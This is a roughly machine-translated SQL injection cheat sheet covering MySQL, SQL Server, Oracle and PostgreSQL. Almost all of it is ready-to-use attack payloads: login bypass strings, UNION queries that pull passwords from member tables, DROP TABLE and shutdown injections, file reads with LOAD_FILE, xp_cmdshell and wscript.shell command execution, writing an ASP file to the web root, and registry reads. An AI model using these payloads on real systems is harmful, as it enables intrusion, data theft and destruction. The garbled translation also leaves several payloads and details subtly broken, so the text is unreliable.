Yinz 2015/08/19 he who

Translated by Yinzo, please retain your signature. Original address:Ferruh.mavituna.com/sql-injecti…

Issue: 1.4

0x00 About SQL injection quick lookup table


Currently only MySQL, Microsoft SQL Server, and some ORACLE and PostgreSQL are supported. Most of the samples are not guaranteed to work in every scenario. The real world is constantly changing due to interludes, different code environments, and unusual or even exotic SQL statements.

The sample is intended only to understand the basic concepts of a potential attack, and almost every section has a succinct summary

  • M: MySQL
  • S: SQL Server
  • P: PostgreSQL
  • O: Oracle
  • +: (presumably) all other databases

Example:

  • (MS) : MySQL and SQL Server
  • (M*S) : only for certain versions of MySQL and SQL Server or for some special cases attached to this article

0 x01 directory


  1. Quick lookup table about SQL injection
  2. Syntax references, attack samples, and injection tips
    1. Row to comment
      1. Sample SQL injection attack using interline comments
    2. Inline comments
      1. Sample injection attack using inline comments
      2. Example of MySQL version detection attacks
    3. Stacking Queries (Stacking Queries)
      1. Languages/databases that support stacked queries
      2. About MySQL and PHP
      3. Example of stack injection attack
    4. If statement
      1. MySQL If statement
      2. SQL Server If statement
      3. Example injection attack using If statement
    5. The use of Integers
    6. String manipulation
      1. Concatenation of strings
    7. A string without quotes
      1. A hexadecimal injection attack sample is used
    8. String Modification and association
    9. The Union injection
      1. UNION- Language problem handling
    10. Bypassing the login screen (SMO+)
    11. Bypass the login screen for checking MD5 hash
      1. Example of bypassing MD5 hash check (MSP)
    12. Error Based – Probe field name
      1. useHAVINGTo probe the field name (S)
      2. inSELECTUse in queryORDER BYNumber of probe fields (MSO+)
    13. Data type, UNION, and so on
      1. Get field type
    14. Simple injection (MSO+)
    15. Useful functions, information gathering, built-in programs, lots of injected notes
      1. @@version(MS)
      2. Bulk Insert (S)
      3. BCP(S)
      4. VBS/WSH SQL Server (S)
      5. Execute system command xp_cmdshell(S)
      6. Special tables in SQL Server (S)
      7. Other Built-in programs for SQL Server (S)
      8. Lots of MSSQL notes
      9. Injection using LIMIT(M) or ORDER(MSO)
      10. Turn off the SQL Server (S)
    16. Enable xp_cmdshell in SQL Server 2005
    17. Probing the structure of SQL Server database (S)
      1. Gets the user-defined table
      2. Get the field name
    18. Moving Records (S)
    19. Quick removal of Error Based SQL Server injection (S)

0x02 Syntax reference, attack samples, and injection tips


Row to comment

Comment out the rest of the query statement

Interline comments are often used to comment out the rest of the query so you don’t have to fix the whole syntax.

  • --(SM)

    DROP sampletable; --

  • #(M)

    DROP sampletable; #

Sample SQL injection attack using interline comments

User name: admin ‘–

  • Constituent statement:SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'This causes you to log in as admin because the rest of the SQL statement is commented out.

Inline comments

Comment out the rest of the query by leaving the comment open, or by bypassing filtering, removing whitespace, obfuscating, or probing the database version.

  • /* Comment content */(SM)

    • DROP/*comment*/sampletable
    • DR/**/OP/* Bypass filter */ sampleTable
    • SELECT/* replace Spaces */password/**/FROM/**/Members
  • / *! MYSQL exclusive */ (M)

    This is a mysql-only syntax. Great for probing MySQL versions. If you write code in comments, only MySQL will execute it. You can also use this trick so that only servers older than a certain version execute certain code. SELECT /*! 32302 1/0, */ 1 FROM tablename

Sample injection attack using inline comments

ID:10; DROP TABLE members /*

It’s easy to get rid of the hassle of dealing with subsequent statements, and again you can use 10; DROP TABLE members —

Example of MySQL version detection attacks

SELECT /*! 32302 1/0, */ 1 FROM tablename

If MySQL is older than 3.23.02, a division by 0 error is raised

ID:/*! 32302 10 * /

ID:10

If the MySQL version is higher than 3.23.02, you will get the same results from the previous two queries

Stacking Queries (Stacking Queries)

Execute multiple queries in a single line of code, which is useful at every injection point, especially when using SQL Server backends

  • ;(S) SELECT * FROM members; DROP members--End a query and start a new one

Languages/databases that support stacked queries

Green: supported. Dark gray: not supported. Light gray: Unknown

About MySQL and PHP

Clarify some issues.

Php-mysql does not support stacked queries, Java does not support stacked queries (ORACLE I know, others are not sure). In general MySQL supports stacked queries, but since the database layer of most PHP-mysql application frameworks cannot perform the second query, perhaps MySQL clients support this, I’m not sure, can anyone confirm?

MySQL 5.6.20 supports stack query

Example of stack injection attack

ID:10; DROP members —

SELECT * FROM products WHERE id = 10; DROP members–

This will execute a DROP query after a normal query is executed.

If statement

Get the response based on the If statement. This is one of the keys to Blind SQL Injection and can also be used to perform some tests simply and accurately.

MySQL If statement

  • IF(condition,true-part,false-part)(M)

    SELECT IF (1=1,'true','false')

SQL Server If statement

  • IF condition true-part ELSE false-part(S)

    IF (1=1) SELECT 'true' ELSE SELECT 'false'

Example injection attack using If statement

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0(S)

If the current user is not “sa” or “dbO “, a divide by zero error is thrown.

The use of Integers

Useful for bypassing, such as magic_quotes() and other similar filters, and even various WAFs.

  • 0xHEXNUMBER(SM)

    You can use hexadecimal numbers like this:

    • SELECT CHAR(0x66)(S)

    • SELECT 0x5045(M) (this is not an integer, but a hexadecimal string)

    • SELECT 0x50 + 0x45(M)

String manipulation

String-related operations. This is useful for constructing a database that does not contain quotes and can be used to bypass or probe the database.

Concatenation of strings

  • +(S)

    SELECT login + '-' + password FROM members

  • || (*MO)

    SELECT login || '-' || password FROM members

* about MySQL “| |” the MySQL in ANSI mode only execute other situations as a ‘logical operators and returns a zero. It is better to use the CONCAT() function.

  • CONCAT(str1, str2, str3, …) (M)

    For example, SELECT CONCAT(login, password) FROM members

A string without quotes

There are many ways to use strings, but these are always available. Use CHAR()(MS) and CONCAT()(M) to generate unquoted strings

  • 0x457578 (M) – A hexadecimal encoded string

    SELECT 0x457578

    This is treated as a string in MySQL

  • An easy way to use hexadecimal strings in MySQL: SELECT CONCAT(‘0x’,HEX(‘c:\\boot.ini’))

  • SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)

    This will return ‘KLM’

  • SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)

    This will return ‘KLM’

A hexadecimal injection attack sample is used

  • SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)

    This displays the contents of C :\boot.ini

String Modification and association

  • ASCII() (SMP)

    Returns the ASCII value of the leftmost character. This is an important function for blind injection.

    Example: SELECT the ASCII (‘ a ‘)

  • CHAR() (SM)

    Converts integers to ASCII characters

    Example: SELECT CHAR (64).

The Union injection

With union you can perform queries across tables. At its simplest, you can inject a query that returns the contents of another table. SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members

This merges the contents of the news and Members tables and returns them.

Another example: ‘UNION SELECT 1,’ Anotheruser ‘, ‘Doesnt Matter ‘, 1–

UNION- Language problem handling

When you use Union for injection, you often get errors due to different language Settings (table Settings, field Settings, table or database Settings, etc.). These are all useful for solving those problems, especially when you’re dealing with Japanese, Russian, and Turkish.

  • Using COLLATE SQL_Latin1_General_Cp1254_CS_AS (S)

    Or other statements, specific to their own SQL Server documentation. Example: SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members

  • Hex()(M)

    A hundred try hundred spirits ~

Bypassing the login screen (SMO+)

SQL injection type 101 Login tips

  • admin' --
  • admin' #
  • admin'/*
  • ' or 1=1--
  • ' or 1=1#
  • ' or 1=1/*
  • ') or '1'='1--
  • ') or ('1'='1--
  • .
  • Log in as a different user (SM*)' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

** Older versions of MySQL do not support union*

Bypass the login screen for checking MD5 hash

If the application reads the MD5 of the password from the user name and then compares it to the MD5 of the password you provided, you’ll need some extra trickery to get around authentication. You can submit an MD5 hash that is known to be in plaintext along with its plaintext, so that the program does not use the hash read from the database, but instead uses the hash you provide for comparison.

Example of bypassing MD5 hash check (MSP)

User name: admin

Password: 1234 ‘AND 1 = 0 UNION ALL SELECT’ admin ‘, ’81 dc9bdb52d04dc20036dbd8313ed055

Of which 81 dc9bdb52d04dc20036dbd8313ed055 = MD5 (1234).

Error Based – Probe field name

useHAVINGTo probe the field name (S)

  • ' HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --
  • ' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --
  • Until it stops reporting errors, we’re done

inSELECTUse in queryORDER BYNumber of probe fields (MSO+)

Detecting the number of fields BY ORDER can speed up union injection.

  • ORDER BY 1--
  • ORDER BY 2--
  • ORDER BY N--
  • Until it returns an error, the last successful number is the number of fields.

Data type, UNION, and so on

Tip:

  • Use ALL for unions because there are often fields with the same value, and by default the UNION tries to return a unique value (Records with distinct).
  • If you can only have one record per query, and you don’t want to use the valuable bits of a normal query, you can use this- 1Or a value that doesn’t exist to fix the original query (if the injection point is in WHERE).
  • Using NULL in a UNION is better for most data types than guessing strings, dates, numbers, and so on
    • Be careful when making blind bets to determine whether errors are from the application or from the database. Because ASP.NET will often throw an error when you use NULL (because developers usually don’t expect to see NULL in the username box)

Get field type

  • ' union select sum(columntofind) from users-- (S)

    Microsoft OLE DB Provider for ODBC Drivers error ‘80040e07’ [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument. If no error is returned, the field is numeric

  • Similarly, you can use CAST() and CONVERT()

    • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--
  • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 -- -

    No error. – The syntax is correct. This is the syntax of MS SQL Server. To continue.

  • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 -- -

    No error – the first field is of type INTEGER.

  • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --

    Error – The second field is not of type INTEGER

  • 11223344) UNION SELECT 1, '2',NULL,NULL WHERE 1=2 -- -

    No error – the second field is a string.

  • 11223344) UNION SELECT 1, '2',3,NULL WHERE 1=2 -- -

    Error – The third field is not integer

  • Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.

You will encounter a convert() error before you encounter a union error, so use convert() first and then union

Simple injection (MSO+)

'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*

Useful functions, information gathering, built-in programs, lots of injected notes

@@version(MS)

The database version. This is a constant, and you can SELECT it as a field without providing the table name. You can do the same with INSERT/UPDATE statements, or even functions.

INSERT INTO members(id, user, pass) VALUES(1, "+SUBSTRING(@@version,1,10),10)

Bulk Insert (S)

Insert the file contents into the table. If you do not know the application directory you can read the IIS Metabase file(IIS 6 only)(% Systemroot %\ System32\ inetsrv\ metabase.xml) and find the application directory inside.

  1. Create a new table foo(line varchar(8000))
  2. BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'
  3. DROP temporary table, duplicate another file

BCP(S)

Write to the file. SELECT * FROM test.. foo” queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar

VBS/WSH SQL Server (S)

Thanks to ActiveX support, you can use VBS/WSH in SQL Server

declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'

Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --

Execute system command xp_cmdshell(S)

As a well-known trick, SQL Server 2005 is turned off by default. You need admin permission

EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'

A simple test with ping, check the firewall and sniffer before using it.

EXEC master.dbo.xp_cmdshell 'ping '

If there’s an error, or a union or something, you can’t read the result directly.

Special tables in SQL Server (S)

  • Error Messages

    master.. sysmessages

  • Linked Servers

    master.. sysservers

  • Password (both 2000 and 2005 versions can be cracked, they have similar encryption algorithms)

    SQL Server 2000: masters.. sysxlogins

    SQL Server 2005 : sys.sql_logins

Other Built-in programs for SQL Server (S)

  1. Command execution (xp_cmdshell)

    exec master.. xp_cmdshell 'dir'

  2. Registry Operation (XP_Regread)

    1. xp_regaddmultistring
    2. xp_regdeletekey
    3. xp_regdeletevalue
    4. xp_regenumkeys
    5. xp_regenumvalues
    6. xp_regread
    7. xp_regremovemultistring
    8. xp_regwrite

      exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'

  3. Manage Services (xp_Servicecontrol)

  4. Media (xp_availablemedia)

  5. ODBC resource (xp_enumdsn)

  6. Login (xp_loginconfig)
  7. Create Cab file (xp_makecab)
  8. Xp_ntsec_enumdomains
  9. Need PID (xp_terminate_process)
  10. Create a new process (actually you can do whatever you want)

    Sp_addextendedproc 'xp_webServer', 'c:\temp\x.dl' exec xp_webServer

  11. Write file to UNC or internal path (sp_makewebTask)

Lots of MSSQL notes

SELECT * FROM master.. sysprocesses /*WHERE spid=@@SPID*/

DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe'; IF (@result = 0) SELECT 0 ELSE SELECT 1/0

HOST_NAME() IS_MEMBER (Transact-SQL)

IS_SRVROLEMEMBER (Transact-SQL)

OPENDATASOURCE (Transact-SQL)

INSERT tbl EXEC master.. xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"

OPENROWSET (Transact-SQL) – http://msdn2.microsoft.com/en-us/library/ms190312.aspx

You cannot use sub select in SQL Server Insert queries.

Injection using LIMIT(M) or ORDER(MSO)

SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10;

If the injection point is at the second parameter of LIMIT, you can comment it out or use union injection.

Turn off the SQL Server (S)

If you are really hasty, ‘; shutdown —

Enable xp_cmdshell in SQL Server 2005

By default, SQL Server 2005’s xp_cmdshell and other dangerous built-in programs are disabled. If you have admin privileges, you can launch them.

`\ EXEC sp_configure ‘show advanced options’,1 RECONFIGURE

EXEC sp_configure ‘xp_cmdshell’,1 RECONFIGURE `\

Probing the structure of SQL Server database (S)

Gets the user-defined table

SELECT name FROM sysobjects WHERE xtype = 'U'

Get the field name

SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')

Moving Records (S)

  • Modify WHERE to use NOT IN or NOT EXIST… WHERE users NOT IN (‘First User’, SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members

  • Dirty little trick

    SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int

    Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Quick removal of Error Based SQL Server injection (S)

'; BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end; --

Please refer to:Fast way to extract data from Error Based SQL Injections